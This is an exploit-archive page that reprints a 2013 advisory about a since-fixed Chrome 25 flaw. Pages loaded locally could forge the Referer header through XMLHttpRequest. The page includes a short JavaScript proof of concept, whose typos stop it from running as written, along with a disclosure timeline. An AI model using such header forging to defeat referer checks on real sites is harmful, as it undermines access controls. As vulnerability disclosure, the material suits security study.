Advertisement






Google Chrome 25.0.1364 XMLHttpRequest HTTP Referer Header Bypass

CVE Category Price Severity
CWE-264 Unknown Unknown
Author Risk Exploitation Type Date
Unknown Unknown Remote 2013-07-09
CPE
cpe:cpe:/a:google:chrome:25.0.1364
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2013070058

Below is a copy:

Advisory:                      XMLHttpRequest HTTP Referer Header Faking
Author:                         Liad Mizrachi
Vendor URL:                http://www.chromium.org/
Vulnerability Status:     Fixed
Application Version:     Google Chrome v25.0.1364.152


==========================
Vulnerability Description
==========================

Chromium is the open source web browser project from which Google
Chrome draws its source code.

Chromium fails to validate the use of unsafe headers when the page is
load from the local drive, allowing to set and change the referer
header using "setRequestHeader" when generating a Ajax
(XMLHttpRequest) request.


==========================
PoC
==========================

function SendReq()
{
    var xmlhttp = new XmlHttpRequest();
    xmlHttp.onreadystatechange = readyStateChanged;
    xmlHttp.open("GET", "http://AnySite.com/checkReferer.php";, true);
    xmlHttp.setRequestHeader("Referer", "http://valid.referer.com";);
    xmlHttp.send();
}


==========================
Solution
==========================

Block all scripts from setting unsafe headers in XMLHttpRequest.
- Fixed by vendor.



==========================
Disclosure Timeline
==========================

04-Mar-2013 - Google Security Team informed by mail.
14-Mar-2013 - Google Security Team Reply: "Since ChromeOS is an open
source project, please file the report directly in their bug tracker"
14-Mar-2013 - Security Bug Opened @ Chromium project.
30-Apr-2013 - Fixed.


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum